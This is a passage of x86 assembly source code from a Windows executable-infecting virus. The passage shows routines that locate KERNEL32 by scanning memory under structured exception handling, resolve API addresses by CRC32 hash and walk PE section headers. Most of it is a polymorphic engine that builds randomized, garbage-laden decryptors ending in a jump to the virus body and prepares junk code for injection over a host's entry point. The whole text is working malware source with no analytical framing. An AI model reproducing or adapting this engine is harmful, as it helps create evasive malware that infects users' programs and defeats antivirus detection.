				je CRC_API_found
				pop eax							;Remove API name from stack
				pop esi							;Ptr to RVA for next API name 
				loop API_Loop
get_API_error:	pop esi							;Ptr to CRC's of API names
				pop ecx							;Number of API's
				ret								;Exit with error (ecx!=NULL)

CRC_API_found:	;The ptr to API name is already on stack, now push the
				;module handle and call GetProcAddress

				push ebx	
				call dword ptr [ebp+a_GetProcAddress]

				cld					;Dont let the API call change this
				pop edx				;Remove ptr to RVA for next name

				or eax,eax
				jz get_API_error	;If GetProcAddress returned NULL exit
				
				stosd				;Save the API address into given table
				pop esi				;Ptr to CRC's of API names
				lodsd
				pop ecx				
				loop get_each_API
				ret

;----------------------------------------------------------------------------
;Find base address of KERNEL32.DLL 
;Thanks to Jacky Qwerty for the SEH routines
;----------------------------------------------------------------------------

SEH_ExcptBlock  macro
                add esp,-cPushad
                jnz GNtBA_L1
                endm

IGetNtBaseAddr: @SEH_SetupFrame <SEH_ExcptBlock>
                mov ecx,edx
                xchg ax,cx
GNtBA_L0:		dec cx
                jz GNtBA_L2
                add eax,-10000h
                pushad
                mov bx,-IMAGE_DOS_SIGNATURE
                add bx,word ptr [eax]
                mov esi,eax
                jnz GNtBA_L1
                mov ebx,-IMAGE_NT_SIGNATURE
                add eax,dword ptr [esi.MZ_lfanew]
                mov edx,esi
                add ebx,dword ptr [eax]
                jnz GNtBA_L1
                add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries.			\
                         DE_Export.DD_VirtualAddress]
                add esi,dword ptr [edx.ED_Name]
				lea edi,dword ptr [ebp+BufStr2Upper]
				push edi
				call parse_filename
				pop esi
				call get_str_crc32
				cmp edx,dword ptr [ebp+CrcKernel32]	;Is KERNEL32.DLL ?
				je k32_f
GNtBA_L1:		popad
                jmp GNtBA_L0

k32_f:			popad
                xchg ecx,eax
                inc eax

GNtBA_L2:       @SEH_RemoveFrame
                ret

;----------------------------------------------------------------------------
;SEH handling routines
;----------------------------------------------------------------------------

SEH_Frame:		sub edx,edx
                push dword ptr fs:[edx]
                mov fs:[edx],esp
                jmp [esp.(02h*Pshd).RetAddr]

SEH_RemoveFrame:push 00000000h
                pop edx
                pop dword ptr [esp.(02h*Pshd).RetAddr]
                pop dword ptr fs:[edx]
                pop edx
                ret (Pshd)

SEH_SetupFrame:	call SEH_Frame
                mov eax,[esp.EH_ExceptionRecord]
                test byte ptr [eax.ER_ExceptionFlags],                      \
                               EH_UNWINDING or EH_EXIT_UNWIND
                mov eax,dword ptr [eax.ER_ExceptionCode]
                jnz SEH_Search
                add eax,-EXCEPTION_ACCESS_VIOLATION
                jnz SEH_Search
                mov esp,dword ptr [esp.EH_EstablisherFrame]
                mov dword ptr fs:[eax],esp
                jmp dword ptr [esp.(02h*Pshd).Arg1]
SEH_Search:		xor eax,eax
                ret

;----------------------------------------------------------------------------
;Convert RVA to RAW
;
;On entry:
;				ebx -> Host base address
;				edx -> RVA to convert
;On exit:
;				ecx -> Pointer to RAW data or NULL if error
;				edx -> Section delta offset
;				esi -> Pointer to IMAGE_OPTIONAL_HEADER
;				edi -> Pointer to section header                
;----------------------------------------------------------------------------

RVA2RAW:        cld
                mov dword ptr [ebp+search_raw],edx
                mov esi,dword ptr [ebx+MZ_lfanew]
                add esi,ebx
                lodsd
                movzx ecx,word ptr [esi+FH_NumberOfSections]
                jecxz err_RVA2RAW
                movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
                add esi,IMAGE_SIZEOF_FILE_HEADER
                add edi,esi

                ;Get the IMAGE_SECTION_HEADER that contains RVA
                ;
                ;At this point:
                ;
                ;ebx -> File base address
                ;esi -> Pointer to IMAGE_OPTIONAL_HEADER
                ;edi -> Pointer to first section header
                ;ecx -> Number of sections

s_img_section:  ;Check if address of imports directory is inside this
                ;section

                mov eax,dword ptr [ebp+search_raw]
                mov edx,dword ptr [edi+SH_VirtualAddress]
                sub eax,edx
                cmp eax,dword ptr [edi+SH_VirtualSize]
                jb section_ok

out_of_section: ;Go to next section header

                add edi,IMAGE_SIZEOF_SECTION_HEADER
                loop s_img_section
err_RVA2RAW:    ret

section_ok:     ;Get raw

                mov ecx,dword ptr [edi+SH_PointerToRawData]
                sub edx,ecx
                add ecx,eax
                add ecx,ebx
                ret

;----------------------------------------------------------------------------
;Get code section header and entry-point information
;
;On entry:
;				ebx -> Host base address
;On exit:
;				ecx -> Pointer to RAW data or NULL if error
;				edx -> Entry-point RVA
;				esi -> Pointer to IMAGE_OPTIONAL_HEADER
;				edi -> Pointer to section header
;----------------------------------------------------------------------------

get_code_sh:	call get_last_sh
				mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
				push edx
                call RVA2RAW
				pop edx
				ret

;----------------------------------------------------------------------------
;Get pointer to last section header
;
;On entry:
;				ebx -> Host base address
;On exit:
;				esi -> IMAGE_OPTIONAL_HEADER
;				edi -> Pointer to last section header                
;----------------------------------------------------------------------------

get_last_sh:    push ecx
                mov esi,dword ptr [ebx+MZ_lfanew]
                add esi,ebx
                cld
                lodsd
                movzx ecx,word ptr [esi+FH_NumberOfSections]
                dec ecx
                mov eax,IMAGE_SIZEOF_SECTION_HEADER
                mul ecx
                movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
                add esi,IMAGE_SIZEOF_FILE_HEADER
                add eax,edx
                add eax,esi
                mov edi,eax
				pop ecx
                ret

;----------------------------------------------------------------------------
;This routine takes a string pointed by esi and copies
;it into a buffer pointed by edi
;The result string will be converted to upper-case
;
;On entry:
;				esi -> Pointer to source string
;				edi -> Pointer to returned string
;
;On exit:
;				al  -> Null
;				edx -> Points to filename at the end of path
;				edi -> Points 1byte above the null terminator
;----------------------------------------------------------------------------

parse_filename:	mov edx,edi
				cld
ScanZstring:	lodsb				
				cmp al,"a"
				jb no_upper
				cmp al,"z"
				ja no_upper
				and al,0DFh
no_upper:		stosb
				cmp al,"\"
				jne err_slash_pos
				mov edx,edi
err_slash_pos:	or al,al
				jnz ScanZstring
				ret

;----------------------------------------------------------------------------
;Generate a random filename
;
;On entry:
;				edi -> Where to place the random generated name
;----------------------------------------------------------------------------

rnd_filename:	call rnd_name
				
rnd_extension:	mov ecx,00000003h						;Set extension				
gen_new_ext:	mov eax,00000019h						;Random character
				call get_rnd_range
				add al,41h
				stosb
				loop gen_new_ext
				xor al,al								;String terminates in
				stosb									;a null character
				ret

rnd_name:		mov eax,00000004h						;Random size of new
				call get_rnd_range						;name
				inc eax
				inc eax
				mov ecx,eax
				
gen_new_name:	mov eax,00000019h						;Random character
				call get_rnd_range
				add al,41h
				stosb
				loop gen_new_name
				mov al,"."								;Is dot time!
				stosb
				ret

rnd_exefile:	call rnd_name
				mov eax,00455845h
				stosd
				ret

;----------------------------------------------------------------------------
;Generate a block of random data
;----------------------------------------------------------------------------

gen_rnd_block:  mov ecx,00000010h
                mov eax,ecx
                call get_rnd_range
                add ecx,eax                
rnd_fill:       cld
rnd_fill_loop:  call get_rnd32              
                stosb
                loop rnd_fill_loop
                ret                

;----------------------------------------------------------------------------
;Linear congruent pseudorandom number generator
;----------------------------------------------------------------------------

get_rnd32:      push ecx
                push edx
                mov eax,dword ptr [ebp+rnd32_seed]
                mov ecx,41C64E6Dh
                mul ecx
                add eax,00003039h
                and eax,7FFFFFFFh
                mov dword ptr [ebp+rnd32_seed],eax
                pop edx
                pop ecx
                ret

;----------------------------------------------------------------------------
;Returns a random num between 0 and entry eax
;----------------------------------------------------------------------------

get_rnd_range:  push ecx
                push edx
                mov ecx,eax
                call get_rnd32
                xor edx,edx
                div ecx
                mov eax,edx  
                pop edx
                pop ecx
                ret

;----------------------------------------------------------------------------
;Generate polymorphic decryptor
;----------------------------------------------------------------------------

mutate_virus:	;Init register table

				call init_reg_tbl

                ;Init the table used by the engine to save the address of 
				;each generator, the structure of this table is:
                ;
                ; 00h -> DWORD -> Address of generator
                ; 04h -> DWORD -> Address of generated subroutine or
                ;                 00000000h if not yet generated
                ;
                ;Lets mark each entry as not yet generated

                xor eax,eax
                mov ecx,00000005h
                lea edi,dword ptr [ebp+style_table+00000004h]
clear_style:    stosd
                add edi,00000004h
                loop clear_style

                ;Clear displacement over displacement field

                mov dword ptr [ebp+disp2disp],ecx
                                
                ;Now choose the register that the engine will use as
                ;index register

                call get_valid_reg
                mov al,byte ptr [ebx+REG_MASK]
                mov byte ptr [ebp+index_mask],al
                or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX

                ;Choose also wich register will be used as counter

                call get_valid_reg
                mov al,byte ptr [ebx+REG_MASK]
                mov byte ptr [ebp+counter_mask],al
                or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER

                ;The engine generates the following indexing modes:
                ;
                ; DECRYPT [reg]
                ; DECRYPT [reg+imm]
                ; DECRYPT [reg+reg]
                ; DECRYPT [reg+reg+imm]
                ;
                ;This code determines if we are going to use any displacement
                ;and if so, it gets a random one

                call get_rnd32
                and eax,00000001h
                jz ok_disp
                call get_rnd32
                and eax,000FFFFFh
ok_disp:        mov dword ptr [ebp+ptr_disp],eax

                ;Dercrypt instructions such as ADD, SUB or XOR need a
                ;key to use as second operand, choose it here

                call get_rnd32
                mov dword ptr [ebp+crypt_key],eax

                ;This field holds some flags:
                ;
                ; CRYPT_DIRECTION Decrypt up->down or up<-down
                ; CRYPT_CMPCTR    
                ; CRYPT_CDIR      
                ; CRYPT_SIMPLEX   
                ; CRYPT_COMPLEX   
				; CRYPT_FIX_NEG
                                  
                call get_rnd32
                mov byte ptr [ebp+build_flags],al

                ;The counter register needs to be loaded with the size
                ;of the encrypted code divided by the size of the
                ;decrypt instruction (01h for byte, 02h for word or
                ;04h for double word)
                ;This routine determines this size

                call get_rnd32
                and al,03h
                cmp al,01h
                je get_size_ok
                cmp al,02h
                je get_size_ok
                inc al
get_size_ok:    mov byte ptr [ebp+oper_size],al

                ;At any time EDI points to the place where the engine have
                ;to generate the next decryptor instruction

                lea edi,dword ptr [ebp+poly_buffer]
                push edi

                call gen_rnd_block

                ;Generated decryptors are just polymorphic versions of the
                ;following pseudocode:
                ;
                ; Generate decryptor steps, each step into a different
                ; subroutine and in random order each time
                ;
                ; Generate calls to each subrotuine trying to hide this
                ; calls inside lots of random code
                ;
                ;As result generated code will never repeat any sequence
                ;of actions, for example: The routine that loads the index
                ;register can be generated at the begining of the decryptor
                ;or at the end, but it will be called always in the first
                ;call instruction
                ;
                ;Steps into first pseudocode are:
                ;
                ; Generate code that loads the index register
                ; Generate code that loads the counter register
                ; Generate decryp instruction
                ; Increment/Decrement index register in its proper size
                ; Increment/Decrement counter register
                ;
                ;Now start generating one subroutine for each of the above
                ;steps

                mov ecx,00000005h

do_subroutine:  push ecx

                ;Get a random entry in the steps table, remember that each
                ;entry have the following structure:
                ;
                ; 00h -> DWORD -> Address of generator
                ; 04h -> DWORD -> Address of generated subroutine or
                ;                 00000000h if not yet generated

routine_done:   mov eax,00000005h
                call get_rnd_range
                lea esi,dword ptr [ebp+style_table+eax*08h]

                ;Already generated?

                xor edx,edx
                cmp dword ptr [esi+00000004h],edx
                jne routine_done

                ;Generate routines inside some random code, so pseudocode
                ;for each one will look like this:
                ;
                ; Random code
                ; Decryptor step (load index, load counter, decrypt ...)
                ; Random code
                ; RET
                ; Random data
                ;
                ;Note that "random code" will also contain calls, jumps and
                ;lots of no-sense shit that will really hide the code of the
                ;decryptor step
                ;The "random data" will let some space betwen each subrotuine
                ;(size and data are random)
                ;This code will also save the entry-point of each generated
                ;subroutine, so we can call them later

                push edi
                call gen_garbage
                lodsd
                pop dword ptr [esi]
                add eax,ebp
                call eax
                call gen_garbage
                mov al,0C3h
                stosb
                call gen_rnd_block

                ;Generate next subroutine

                pop ecx
                loop do_subroutine

                ;Well, i said that generated decryptors are just polymorphic
                ;versions of the following pseudocode
                ;
                ; Generate decryptor steps, each step into a different
                ; subroutine and in random order each time
                ;
                ; Generate calls to each subroutine trying to hide this
                ; calls inside lots of random code
                ;
                ;Its time to work on the second step

                ;This is the entry-point to the polymorphic decryptor
				
				mov dword ptr [ebp+entry_point],edi
                call gen_garbage

                ;The entry-point of each generated subroutine have been
                ;stored into the steps table
                ;Generate a CALL instruction for each table entry, but
                ;hide the it inside some random code, like this:
                ;
                ; Random code
                ; CALL instruction to the decryptor step subroutine
                ; Random code
                ;
                ;As i already said "random code" may contain another CALLs
                ;and JMPs

                lea esi,dword ptr [ebp+style_table+00000004h]
                mov ecx,00000005h

do_call:        push ecx
                cmp ecx,00000003h
                jne is_not_loop

                ;At this time the CALLs that loads the index and counter
                ;registers have been generated
                ;We need to save current position into decryptor code
                ;in order to jump here on each decryptor iteration
                ;I think is not a bad idea to also hide this point inside
                ;blocks of random code

                call gen_garbage
                mov dword ptr [ebp+loop_point],edi

is_not_loop:    call gen_garbage
                mov al,0E8h
                stosb
                lodsd
                sub eax,edi
                sub eax,00000004h
                stosd
                call gen_garbage
                lodsd
                pop ecx
                loop do_call

                ;The hard work is done, now generate the end condition

                call gen_garbage
                call gen_loop
				call gen_rnd_block
                				
				;Save decryptor size

                pop eax
				sub dword ptr [ebp+entry_point],eax
				push edi
                sub edi,eax
                mov dword ptr [ebp+decryptor_size],edi

				;Generate a junk of polymorphic code that will be injected
				;over host entry-point

				call init_reg_tbl
				pop edi
				push edi
				mov ecx,ep_junk_size
                call rnd_fill
				pop edi
				mov dword ptr [ebp+ep_junk_addr],edi
				call gen_garbage
				mov dword ptr [ebp+ep_junk_fix],edi
				ret

;----------------------------------------------------------------------------
;Perform encryption
;----------------------------------------------------------------------------

perform_crypt:  ;This buffer will contain the code to "crypt" the virus code
                ;followed by a RET instruction

                db 10h dup (90h)

;----------------------------------------------------------------------------
;Initialize register table
;----------------------------------------------------------------------------

init_reg_tbl:	;The engine uses a table that stores the state of each reg
                ;Register table structure is as follows:
                ;
                ; 00h -> Byte -> Register mask
                ; 01h -> Byte -> Register flags
                ;
                ;So now lets clear the state field before start generating
                ;the polymorphic code

                lea esi,dword ptr [ebp+tbl_startup]
                lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS]
                mov ecx,00000007h
                xor eax,eax
				mov byte ptr [ebp+recursive_level],al
loop_init_regs: lodsb
                stosb
                inc edi
                loop loop_init_regs
				ret

;----------------------------------------------------------------------------
;Generate decryptor action: Get delta offset
;----------------------------------------------------------------------------

gen_get_delta:  ;Lets generate polymorphic code for the following pseudocode:
                ;
                ; CALL get_delta
                ; Random data
                ; get_delta:
                ; Random code
                ; POP reg
                ;
                ;Here come the CALL opcode

                mov al,0E8h
                stosb

                ;Let space for the address to call

                stosd
                mov dword ptr [ebp+delta_call],edi
                push edi

                ;Generate some random data

                call gen_rnd_block

                ;Get displacement from CALL instruction to destination
                ;address

                mov eax,edi
                pop esi
                sub eax,esi

                ;Put destination address after CALL opcode

                mov dword ptr [esi-00000004h],eax

                ;This code will be generated where the CALL points to
                ;
                ; Random code
                ; POP index register
                ; Random code
                ; Fix index register value
                ;
                ;Note that "random code" can contain some PUSH and POP
                ;instructions, so there is no equivalence betwen the
                ;first POP after the CALL and the register used as index

                call gen_garbage
                mov al,58h
                or al,byte ptr [ebp+index_mask]
                stosb
                call gen_garbage

                ;Fix using ADD or SUB?

                call get_rnd32
                and al,01h
                jz fix_with_sub

fix_with_add:   ;Generate ADD reg_index,fix_value

                mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
				call fix_master				
				
				stosd
				ret

fix_with_sub:   ;Generate SUB reg_index,-fix_value

                mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw				
				call fix_master
				neg eax
				stosd
				ret

fix_master:		lea eax,dword ptr [ebp+poly_buffer-inf_size]
				sub eax,dword ptr [ebp+delta_call]
				add eax,dword ptr [ebp+ptr_disp]				
                
                test byte ptr [ebp+build_flags],CRYPT_DIRECTION
                jz fix_dir_ok

                ;Direction is from top to bottom

                push eax
                call fixed_size2ecx
                xor eax,eax
                mov al,byte ptr [ebp+oper_size]
                push eax
                mul ecx
                pop ecx
                sub eax,ecx
                pop ecx
                add eax,ecx

fix_dir_ok:		ret

;----------------------------------------------------------------------------
;Generate decryptor action: Load counter
;----------------------------------------------------------------------------

gen_load_ctr:   ;Easy now, just move counter random initial value
                ;into counter reg and calculate the end value

                mov al,0B8h
                or al,byte ptr [ebp+counter_mask]
                stosb
                call fixed_size2ecx
                call get_rnd32
                stosd
                test byte ptr [ebp+build_flags],CRYPT_CDIR
                jnz counter_down
counter_up:     add eax,ecx
                jmp short done_ctr_dir
counter_down:   sub eax,ecx
done_ctr_dir:   mov dword ptr [ebp+end_value],eax
                ret

;----------------------------------------------------------------------------
;Generate decryptor action: Decrypt
;----------------------------------------------------------------------------

gen_decrypt:    ;Check if we are going to use a displacement in the
                ;indexing mode
                
                mov eax,dword ptr [ebp+ptr_disp]
                or eax,eax
                jnz more_complex

                ;Choose generator for [reg] indexing mode

                mov edx,offset tbl_idx_reg
                call choose_magic
                jmp you_got_it

more_complex:   ;More fun?!?!

                mov al,byte ptr [ebp+build_flags]
                test al,CRYPT_SIMPLEX
                jnz crypt_xtended

                ;Choose generator for [reg+imm] indexing mode

                mov edx,offset tbl_dis_reg
                call choose_magic

you_got_it:     ;Use magic to convert some values into
                ;desired instructions

                call size_correct
                mov dl,byte ptr [ebp+index_mask]
                lodsb
                or al,al
                jnz adn_reg_01
                cmp dl,00000101b
                je adn_reg_02
adn_reg_01:     lodsb
                or al,dl
                stosb
                jmp common_part                
adn_reg_02:     lodsb
                add al,45h
                xor ah,ah
                stosw
                jmp common_part

crypt_xtended:  ;Choose [reg+reg] or [reg+reg+disp]

                test al,CRYPT_COMPLEX
                jz ok_complex

                ;Get random displacement from current displacement
                ;eeehh?!?

                mov eax,00001000h
                call get_rnd_range
                mov dword ptr [ebp+disp2disp],eax
                call load_aux
                push ebx
                call gen_garbage

                ;Choose generator for [reg+reg+imm] indexing mode

                mov edx,offset tbl_paranoia
                call choose_magic
                jmp short done_xtended

ok_complex:     mov eax,dword ptr [ebp+ptr_disp]
                call load_aux
                push ebx
                call gen_garbage

                ;Choose generator for [reg+reg] indexing mode

                mov edx,offset tbl_xtended
                call choose_magic

done_xtended:   ;Build decryptor instructions

                call size_correct
                pop ebx
                mov dl,byte ptr [ebp+index_mask]
                lodsb
                mov cl,al
                or al,al
                jnz arn_reg_01
                cmp dl,00000101b
                jne arn_reg_01
                lodsb
                add al,40h
                stosb
                jmp short arn_reg_02
arn_reg_01:     movsb
arn_reg_02:     mov al,byte ptr [ebx+REG_MASK]
                shl al,03h
                or al,dl
                stosb
                or cl,cl
                jnz arn_reg_03
                cmp dl,00000101b
                jne arn_reg_03
                xor al,al
                stosb

arn_reg_03:     ;Restore aux reg state

                xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

common_part:    ;Get post-build flags

                lodsb

                ;Insert displacement from real address?

                test al,MAGIC_PUTDISP
                jz skip_disp
                push eax
                mov eax,dword ptr [ebp+ptr_disp]
                sub eax,dword ptr [ebp+disp2disp]
                neg eax
                stosd
                pop eax

skip_disp:      ;Insert key?

                test al,MAGIC_PUTKEY
                jz skip_key
                call copy_key

skip_key:       ;Generate reverse code

                call do_reverse

                ret

;----------------------------------------------------------------------------
;Choose a magic generator
;----------------------------------------------------------------------------

choose_magic:   mov eax,00000006h
                call get_rnd_range
                add edx,ebp
                lea esi,dword ptr [edx+eax*04h]
                lodsd
                add eax,ebp
                mov esi,eax
                ret

;----------------------------------------------------------------------------
;Do operand size correction
;----------------------------------------------------------------------------

size_correct:   lodsb
                mov ah,byte ptr [ebp+oper_size]
                cmp ah,01h
                je store_correct
                inc al
                cmp ah,04h
                je store_correct
                mov ah,66h
                xchg ah,al
                stosw
                ret
store_correct:  stosb
                ret

;----------------------------------------------------------------------------
;Load aux reg with displacement
;----------------------------------------------------------------------------

load_aux:       ;Get a valid auxiliary register

                push eax
                call get_valid_reg
                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

                ;Move displacement into aux reg

                mov al,0B8h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                pop eax
                neg eax
                stosd
                ret

;----------------------------------------------------------------------------
;Generate crypt-code
;----------------------------------------------------------------------------

do_reverse:     xor eax,eax
                mov al,byte ptr [ebp+oper_size]
                shr eax,01h
                shl eax,02h
                add esi,eax
                lodsd
                add eax,ebp
                mov esi,eax
                push edi
                lea edi,dword ptr [ebp+perform_crypt]
loop_string:    lodsb
                cmp al,MAGIC_ENDSTR
                je end_of_magic
                cmp al,MAGIC_ENDKEY
                je last_spell
                xor ecx,ecx
                mov cl,al
                rep movsb
                jmp short loop_string
last_spell:     call copy_key
end_of_magic:   mov al,0C3h
                stosb
                pop edi
                ret

;----------------------------------------------------------------------------
;Copy encryption key into work buffer taking care about operand size
;----------------------------------------------------------------------------

copy_key:       mov eax,dword ptr [ebp+crypt_key]
                xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]
loop_key:       stosb
                shr eax,08h
                loop loop_key
                ret

;----------------------------------------------------------------------------
;Generate decryptor action: Move index to next step
;----------------------------------------------------------------------------

gen_next_step:  ;Get number of bytes to inc or dec the index reg

                xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]

loop_update:    ;Get number of bytes to update with this instruction

                mov eax,ecx
                call get_rnd_range
                inc eax

                ;Check direction

                test byte ptr [ebp+build_flags],CRYPT_DIRECTION
                jnz step_down

                call do_step_up
                jmp short next_update

step_down:      call do_step_down

next_update:    sub ecx,eax
				call gen_garbage
                jecxz end_update
                jmp short loop_update
end_update:     ret

do_step_up:     ;Move index_reg up

                or eax,eax
                jz up_with_inc

                ;Now choose ADD or SUB

                push eax
                call get_rnd32
                and al,01h
                jnz try_sub_1

try_add_1:      mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                stosd
                ret

try_sub_1:      mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                neg eax
                stosd
                neg eax
                ret

up_with_inc:    ;Generate INC reg_index

                mov al,40h
                or al,byte ptr [ebp+index_mask]
                stosb
                mov eax,00000001h
                ret

do_step_down:   ;Move index_reg down

                or eax,eax
                jz down_with_dec

                ;Now choose ADD or SUB

                push eax
                call get_rnd32
                and al,01h
                jnz try_sub_2

try_add_2:      mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                neg eax
                stosd
                neg eax
                ret

try_sub_2:      mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                stosd
                ret

down_with_dec:  ;Generate DEC reg_index

                mov al,48h
                or al,byte ptr [ebp+index_mask]
                stosb
                mov eax,00000001h
                ret

;----------------------------------------------------------------------------
;Generate decryptor action: Next counter value
;----------------------------------------------------------------------------

gen_next_ctr:   ;Check counter direction and update counter
                ;using a INC or DEC instruction

                test byte ptr [ebp+build_flags],CRYPT_CDIR
                jnz upd_ctr_down
upd_ctr_up:     mov al,40h
                or al,byte ptr [ebp+counter_mask]
                jmp short upd_ctr_ok
upd_ctr_down:   mov al,48h
                or al,byte ptr [ebp+counter_mask]
upd_ctr_ok:     stosb
                ret

;----------------------------------------------------------------------------
;Generate decryptor action: Loop
;----------------------------------------------------------------------------

gen_loop:       ;Use counter reg in CMP instruction?

                test byte ptr [ebp+build_flags],CRYPT_CMPCTR
                jnz doloopauxreg

                ;Generate CMP counter_reg,end_value

                mov ax,0F881h
                or ah,byte ptr [ebp+counter_mask]
                stosw
                mov eax,dword ptr [ebp+end_value]
                stosd

                jmp doloopready

doloopauxreg:   ;Get a random valid register to use in a CMP instruction

                call get_valid_reg
                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

                ;Move index reg value into aux reg

                mov ah,byte ptr [ebx+REG_MASK]
                shl ah,03h
                or ah,byte ptr [ebp+counter_mask]
                or ah,0C0h
                mov al,8Bh
                stosw

                ;Guess what!?

                push ebx
                call gen_garbage
                pop ebx

                ;Generate CMP aux_reg,end_value

                mov ax,0F881h
                or ah,byte ptr [ebx+REG_MASK]
                stosw
                mov eax,dword ptr [ebp+end_value]
                stosd
                     
                ;Restore aux reg state

                xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

doloopready:    ;Generate conditional jump

                call get_rnd32
                and al,01h
                jnz doloopdown

doloopup:       ;Generate the following structure:
                ;
                ;       loop_point:
                ;       ...
                ;       cmp reg,x
                ;       jne loop_point
                ;       ...
				;		jmp virus

                mov ax,850Fh
                stosw
                mov eax,dword ptr [ebp+loop_point]
                sub eax,edi
                sub eax,00000004h
                stosd
				call gen_garbage

				;Insert a jump to virus code

				mov al,0E9h
				stosb
				lea eax,dword ptr [ebp+poly_buffer]
				sub eax,edi
				sub eax,inf_size+00000004h
				stosd
                ret

doloopdown:     ;...or this one:
                ;
                ;       loop_point:
                ;       ...
                ;       cmp reg,x
                ;       je virus
                ;       ...
                ;       jmp loop_point
                ;       ...

                mov ax,840Fh
                stosw
				lea eax,dword ptr [ebp+poly_buffer]
				sub eax,edi
				sub eax,inf_size+00000004h
				stosd
                call gen_garbage

                ;Insert a jump to loop point

                mov al,0E9h
                stosb
                mov eax,dword ptr [ebp+loop_point]
                sub eax,edi
                sub eax,00000004h
                stosd
                ret

;----------------------------------------------------------------------------
;Generate some garbage code
;----------------------------------------------------------------------------

gen_garbage:    ;More recursive levels allowed?
				
				push ecx
                push esi
                inc byte ptr [ebp+recursive_level]
                cmp byte ptr [ebp+recursive_level],04h
                jae exit_gg

                ;Choose garbage generator

                mov eax,00000004h
                call get_rnd_range
                inc eax
                mov ecx,eax
loop_garbage:   push ecx
                mov eax,(end_garbage-tbl_garbage)/04h
                call get_rnd_range
                lea esi,dword ptr [ebp+tbl_garbage+eax*04h]
                lodsd
                add eax,ebp
                call eax
                pop ecx
                loop loop_garbage

                ;Update recursive level

exit_gg:        dec byte ptr [ebp+recursive_level]
                pop esi
				pop ecx
                ret

;----------------------------------------------------------------------------
;Generate MOV reg,imm
;----------------------------------------------------------------------------

g_movreg32imm:  ;Generate MOV reg32,imm

                call get_valid_reg
                mov al,0B8h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                call get_rnd32
                stosd
                ret

g_movreg16imm:  ;Generate MOV reg16,imm

                call get_valid_reg
                mov ax,0B866h
                or ah,byte ptr [ebx+REG_MASK]
                stosw
                call get_rnd32
                stosw
                ret

g_movreg8imm:   ;Generate MOV reg8,imm

                call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movreg8imm
                call get_rnd32
                mov al,0B0h
                or al,byte ptr [ebx+REG_MASK]
                push eax
                call get_rnd32
                pop edx
                and ax,0004h
                or ax,dx
                stosw
a_movreg8imm:   ret

;----------------------------------------------------------------------------
;Generate mov reg,reg
;----------------------------------------------------------------------------

g_movregreg32:  call get_rnd_reg
                push ebx
                call get_valid_reg
                pop edx
                cmp ebx,edx
                je a_movregreg32
c_movregreg32:	mov al,8Bh
h_movregreg32:  mov ah,byte ptr [ebx+REG_MASK]
                shl ah,03h
                or ah,byte ptr [edx+REG_MASK]
                or ah,0C0h
                stosw
a_movregreg32:  ret

g_movregreg16:  call get_rnd_reg
                push ebx
                call get_valid_reg
                pop edx
                cmp ebx,edx
                je a_movregreg32
                mov al,66h
                stosb
                jmp short c_movregreg32

g_movregreg8:   call get_rnd_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movregreg8
                push ebx
                call get_valid_reg
                pop edx
				mov al,8Ah
h_movregreg8:	test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movregreg8
                cmp ebx,edx
                je a_movregreg8
                mov ah,byte ptr [ebx+REG_MASK]
                shl ah,03h
                or ah,byte ptr [edx+REG_MASK]
                or ah,0C0h
                push eax
                call get_rnd32
                pop edx
                and ax,2400h
                or ax,dx
                stosw
a_movregreg8:   ret

;----------------------------------------------------------------------------
;Generate xchg reg,reg
;----------------------------------------------------------------------------

g_xchgregreg32:	call get_valid_reg
				push ebx
				call get_valid_reg
				pop edx
				cmp ebx,edx
				je a_movregreg32
h_xchgregreg32:	mov al,87h
				jmp short h_movregreg32

g_xchgregreg16:	call get_valid_reg
				push ebx
				call get_valid_reg
				pop edx
				cmp ebx,edx
				je a_movregreg32
				mov al,66h
				stosb
				jmp short h_xchgregreg32

g_xchgregreg8:	call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movregreg8
                push ebx
                call get_valid_reg
                pop edx
				mov al,86h
				jmp h_movregreg8

;----------------------------------------------------------------------------
;Generate MOVZX/MOVSX reg32,reg16
;----------------------------------------------------------------------------

g_movzx_movsx:  call get_rnd32
                mov ah,0B7h
                and al,01h
                jz d_movzx
                mov ah,0BFh
d_movzx:        mov al,0Fh
                stosw
                call get_rnd_reg
                push ebx
                call get_valid_reg
                pop edx
                mov al,byte ptr [ebx+REG_MASK]
                shl al,03h
                or al,0C0h
                or al,byte ptr [edx+REG_MASK]
                stosb
                ret

;----------------------------------------------------------------------------
;Generate INC reg
;----------------------------------------------------------------------------

g_inc_reg32:	call get_valid_reg
				mov al,40h
				or al,byte ptr [ebx+REG_MASK]
				stosb
				ret

g_inc_reg16:	mov al,66h
				stosb
				jmp short g_inc_reg32

g_inc_reg8:		call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_inc_reg8
				call get_rnd32
				and ah,04h
				or ah,byte ptr [ebx+REG_MASK]
				or ah,0C0h
				mov al,0FEh
				stosw
a_inc_reg8:		ret

;----------------------------------------------------------------------------
;Generate DEC reg
;----------------------------------------------------------------------------

g_dec_reg32:	call get_valid_reg
				mov al,48h
				or al,byte ptr [ebx+REG_MASK]
				stosb
				ret

g_dec_reg16:	mov al,66h
				stosb
				jmp short g_dec_reg32

g_dec_reg8:		call get_valid_reg
